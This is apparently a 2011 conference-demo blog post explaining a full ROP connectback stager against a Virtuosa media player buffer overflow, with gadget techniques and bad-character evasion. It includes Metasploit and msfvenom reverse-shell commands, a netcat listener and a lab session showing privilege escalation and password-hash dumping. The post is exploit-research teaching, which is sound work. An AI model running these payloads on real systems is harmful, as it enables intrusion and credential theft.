[NDH2011] Demo: Virtuosa full ROP connectback stager
Hello everyone!
This post will be about my demo I prepared for my talk at the NDH2011. As you know, it failed! It was due to some metasploit depency problem (I checked and netcat receive the connection from the VM).
Introduction
The following ROP sploit was based on the following exploit: Virtuosa Phoenix Edition 5.2 ASX SEH BOF.
Basically, if we have a href which is too long, we trigger a SEH BOF.
The problem is that it has a character filter, all UPPER are converted to LOWER and all LOWER near a special character such as “ -;,\/” (without the quotes) will get converted to an UPPER character.
Basically, it forbids all existing encoders, even alpha 2!
There are 2 solutions to bypass this restrictive filter: either code an lower encoder or use a ROP payload. I chose the second solution as I haven’t seen any public exploit using a full ROP payload.
I won’t explain how to exploit a SEH BOF since it has been explained many times, the interesting part here will be about the ROP techniques used. I will explain techniques but I won’t go through the code as it is already heavily commented (if you still don’t understand it, don’t hesitate to ask).
Just so you know, it is not for the faint of heart, it really is not an easy task, it mostly takes a LOT of time.
The filter
The character filter looked a lot like the following C code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
char* filter_badchar (char *str, size_t len) {
size_t sz;
char c;
for (sz = 0; sz < len; sz++) {
c = str[sz];
if (c == ' ' || c == ';' || c == '-' || c == '\\' || c == '/' || c == '-') {
if (str[sz+1] >= 'a' && str[sz+1] <= 'z')
str[sz+1] = str[sz+1] - 0x20;
}
else if (str[sz+1] >= 'A' && str[sz+1] <= 'Z')
str[sz+1] = str[sz+1] + 0x20;
}
return str;
}
You either bypass it using an encoder or a ROP payload.
The payload
I had multiple prerequisites for my payload to satisfy me:
- bypass firewalls
- bypass NAT
- be flexible as to the stuffs I can do
- full ROP
So basically, I was requesting for a connectback stager.
So my payload do the following:
- copy ROP stack to a static zone (so it easier to fix arguments and such)
- allocate RWX memory: HeapCreate() + HeapAlloc()
- initialize socket
- connect back to host (attacker machine)
- receive payload in allocated memory
- execute payload
If the connection fail in some ways, the exploit will fail, there is no backup or infinite loop for trying (even though it could be implemented using ROP tricks). There are multiple problem to be solved before getting to our ROP payload: we need to construct it. Effectively, there is import resolution, string tables fixing, address fixing, arguments fixing. The goal is to get to avoid bad chars as well.
The ROP Stack
What is really important to understand while ropping is that we are constructing, patching/fixing/modifying stack elements in order to have a chain of functions calls using basic operation (that we call gadgets). We could also use it to construct a payload in a newly obtained WX memory or receive “traditionnal” payloads. ROP is thus mainly used as a “stager” in the sense that we first use it to get WX memory and then use a “normal” payload. ROP is turing complete as it is possible to do anything we want with it. We can write, save in memory and we can also have conditions! I suggest you to read the paper on ROP stack generation which also speak about it (LAHF and PUSHF).
Ok now on with the show :).
Since we are triggering a SEH BOF, we will have a ROP stack splitted in 2 parts: before and after the overwritten SEH handler. It is about calculating offsets and bytes used, nothing too heavy in there. What I did is that I mainly constructed my ROP payload and then I splitted it.
In the ROP stack I basically do the following:
- get ESP - set up arguments of LoadLibrary()
- resolve LoadLibrary()
- LoadLibrary(“ws2_32.dll”);
- resolve GetProcAddress()
- Set all GetProcAddress() function name argument
- end strings correctly (with NULL)
- fix wsastartup to WSAStartup and fix wsacleanup to WSACleanup
- Set hLibModule argument in all corresponding GetProcAddress() to “LoadLibrary(“ws2_32.dll”)”
- resolve imports
- then we have the part were we set up all the arguments of the payload
- we “execute” the payload
- we get a stager sent by metasploit that will get a payload (such as a DLL injector or something like that) or a payload (launch calc! :))
These things happen so fast that you should not forget to have listeners, handlers ready at the other end of the line … or Virtuosa will just gracefully crash with you not getting anything ;).
How do you construct a ROP payload without getting lost?
Believe it or not, it’s really easy to get lost while developing a ROP payload. Thing is: we often wants to generate values that have the same properties (=> power of 2? divisible by x? etc). Or we want to be able to allocate multiple buffers?
The “secret ingredient” is the same as in programming: “divide to conquer”. Create functions that does a specific thing using gadgets. This way you can re-use it. The problem it poses is about optimisation, but you either get ultra optimised ROP stack or well organized one. Your choice ;). In the future, tools to optimise and maintain ROP sploits will be developed anyway (MONA is the beginning, thanks to c0relanc0d3r and others as well).
How to avoid badchars in a ROP payload?
As you will see in the code, I created multiple function to check that I have addresses with good characters only. I used the principle of pointer encoding, in this case additive encoding (subtractive decoding) was used.
For NULLs, we can use these kind of instructions:
- XOR REG32, REG32
- MOV [REGa32], REGb32
- etc
For other values, you have to generate them. What is good to know is that most of the “flags” values used in function calls are power of 2, it is simply because it is easy to use multiple flags at the same time and extract them with logical/arithmetical operations: AND, XOR, ADD, SUB, etc.
Most of the time, these kind of instructions can be found:
- XCHG EAX, ESI
- XCHG EAX, ECX
- ADD ESI, ESI
- INC EAX
- XOR EAX, EAX
- MOV [ECX], EAX
With those instructions you can generate any values and patch the memory as you see fit.
There are other tricks to know too. You want to substract but you only have access to ADD? … Think about integer overflow. The goal is not really to substract but to correctly compute a certain value. In the end, ADD and SUB works mostly the same in digital logic.
Others techniques to avoid badchars, instead of constantly fixing all the addresses you have, which use quite a big amount of pointers, I decided to use a retslide to shift to the addresses of interest and thus avoid any bad addresses.
In short:
- pointer encoding
- generating values
- integer overflows
- retslide
Other stuffs to know about ROPping
Most of the strings in Windows functions are NULL terminated (ASCII based) even though it supports UNICODE. You thus have to have correctly ended strings. For that:
- XOR EAX, EAX
- MOV [ECX], EAX
These can be quite useful to fix the stack up.
While calling a function, the most common technique is to fix the stack up using patching instructions:
- MOV [ECX], EAX
You could also use PUSHAD which is kind of a ugly hack but it can be useful to know.
While calling a function, if it takes a string arguments, be sure that your string table is upper in memory (lower in the stack) as the function could end up crushing over your string table and make the call fail. It is often the case with Win32 API calls since it ends in the kernel and it ends up crushing a lot of stuff upper in the stack (lower in memory).
Moving around in our payload is mostly done with:
- XCHG EAX, ESP
It is quite an interesting instruction as using it cleverly, you could have infinite loops, branching, etc.
So before using that instruction, be sure to get ESP somewhere (using stuff like PUSHAD and POPS or PUSH ESP # POP REG32).
Ok you’re lacking registers? Use memory!
Most of the gadgets use EAX, ECX and ESI, if you’re stuck with registers, try using RW memory to save your value and recover it later.
How to use the sploit?
This sploit is sure not user friendly. It is made for hacker alike anyway. I could have done it without metasploit … but it has so many convenient payloads … why reinvent the wheel? ;)
Anyway here is the “manual”: - Depending on the type of payload you’re selecting (with or without network, without means it’s usually a standalone payload that doesn’t need a stager such as it is the case with calc) you’ll either need 2 or 3 terminals on the host machine.
- First terminal: generating the file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ ./msfconsole
# # ###### ##### ## #### ##### # #### # #####
## ## # # # # # # # # # # # #
# ## # ##### # # # #### # # # # # # #
# # # # ###### # ##### # # # # #
# # # # # # # # # # # # # #
# # ###### # # # #### # ###### #### # #
=[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 705 exploits - 358 auxiliary - 56 post
+ -- --=[ 224 payloads - 27 encoders - 8 nops
=[ svn r13015 updated today (2011.06.23)
msf > use exploit/windows/fileformat/virtuosa
msf exploit(virtuosa) > show options
Module options (exploit/windows/fileformat/virtuosa):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.asx yes The file name
LHOST yes The listen address
LPORT yes The listen port
Exploit target:
Id Name
-- ----
0 Windows XP SP3 English
msf exploit(virtuosa) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(virtuosa) > set LPORT 8080
LPORT => 8080
msf exploit(virtuosa) > exploit
[*] Before SEH:
[*] String table size : 100
[*] Pointers used : 126 (504 bytes)
[*] Junk bytes used : 288
[*] Padding size : 96
[*] ROP stack size : 1029
[*] Bytes before SEH write: -4
[*] Total:
[*] Pointers used : 486 (1944 bytes)
[*] Junk bytes used : 416
[*] ROP stack size : 2597
[*] Creating 'msf.asx' file ...
[*] Generated output file /home/kurapix/.msf3/data/exploits/msf.asx
msf exploit(virtuosa) >
Here the host and port will point at the machine with the listening netcat
- Second terminal: netcat listener (send payload or stager)
1
$ ./msfvenom --payload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 --format raw | nc -v -l 8080
En fait je me suis rendu compte que c’est là où ma démo a merdé: j’avais oublié de spécifié le LHOST lors de mon talk.
Sous le coup du stress et de manque de temps, j’ai préféré passer à la suite du talk. C’était la première fois que je faisais un talk devant autant de monde après tout.
- Third terminal: sending the payload if stager needed
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ ./msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 705 exploits - 358 auxiliary - 56 post
+ -- --=[ 224 payloads - 27 encoders - 8 nops
=[ svn r13015 updated today (2011.06.23)
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, none, process
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(handler) > exploit
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
- Then you can launch Virtuosa and import the ASX file (and pawn it). You will then get the following in the second terminal (netcat listener):
1
Connection from 192.168.56.101 port 8080 [tcp/http-alt] accepted
You will then get the following in the third terminal:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
[*] Sending stage (749056 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1091) at Thu Jun 23 20:12:21 +0100 2011
meterpreter > getuid
Server username: EXPERIEN-FB44F4\Administrator
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ASPNET:1003:c0a59a9e0736c578ddde1757bd48098f:0aff8f664031790f6cf554a30d834161:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:611c44014cc419901607081e8472f214:c9c888b7f1894ba4b72503ca73afc10d:::
SUPPORT_388945a0? :1002:aad3b435b51404eeaad3b435b51404ee:c0c37c4d63b49404638bb9898744285c:::
meterpreter > ps
Process list
============
PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
532 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
596 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
620 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
664 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
676 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
836 VBoxService.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\VBoxService.exe
884 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
960 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1052 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1108 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1200 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1616 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1776 explorer.exe x86 0 EXPERIEN-FB44F4\Administrator C:\WINDOWS\Explorer.EXE
1884 VBoxTray.exe x86 0 EXPERIEN-FB44F4\Administrator C:\WINDOWS\system32\VBoxTray.exe
1896 ctfmon.exe x86 0 EXPERIEN-FB44F4\Administrator C:\WINDOWS\system32\ctfmon.exe
2008 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1316 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
828 wuauclt.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wuauclt.exe
1104 Virtuosa.exe x86 0 EXPERIEN-FB44F4\Administrator C:\Program Files\Virtuosa\Virtuosa.exe
meterpreter >
If you want to use those kind of payloads: shell_reverse_tcp, meterpreter, etc. metasploit first send a stager then the corresponding payload. The thing is … exploits/multi/handler only sends the payload and not the stager so you basically get a crash (ever tried to directly execute a DLL from its first byte? => crash, need a DLL injector or something like that). That is why we need the netcat listener which send the stager for those payloads.
For payloads such as calc, regedit, messagebox, etc, no stager needed, we directly get the payload from msfvenom. For example for messagebox, you generate the file and then have that in the netcat listener terminal:
1
2
$ ./msfvenom --payload windows/messagebox ICON=WARNING TEXT="Hacked by m_101 :)" --format raw | nc -v -l 8080
Connection from 192.168.56.101 port 8080 [tcp/http-alt] accepted
You basically end up having a nice messagebox like this:
The sploit
Just so you know, for struct sockaddr_in, I used ugly hacks (since I couldn’t find htons, ntohs, etc equivalent) so it should only work on x86 or x86_64 (due to endianness).
Conclusion
By now, you should be quite convinced that we really do not need any code in our crafted file in order to do things. The question is more about the space we have at disposal that the possibilities ;).
For a first talk in front of so many people it did not go that bad. Ok the demo failed and I panicked a bit about it I must admit haha. Next time I’ll prepare myself even more! Video is the key ;).
We have seen many techniques concerning ROPping, hope it helps to get you along on this boat. It is not easy, it is not for everyone but it is without a doubt an essential technique to have in our arsenal of tools. I wonder what it is like to have ASLR+DEP bypass though and working only with offsets …. infoleaks? … well … not today.
Cheers,
m_101